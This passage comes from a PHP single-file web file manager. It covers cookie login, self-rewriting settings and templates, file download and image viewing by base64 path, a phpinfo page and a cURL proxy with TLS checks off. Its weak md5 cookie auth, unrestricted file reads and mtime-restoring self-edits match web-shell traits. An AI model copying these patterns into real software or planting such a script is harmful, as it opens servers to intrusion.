DcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmaw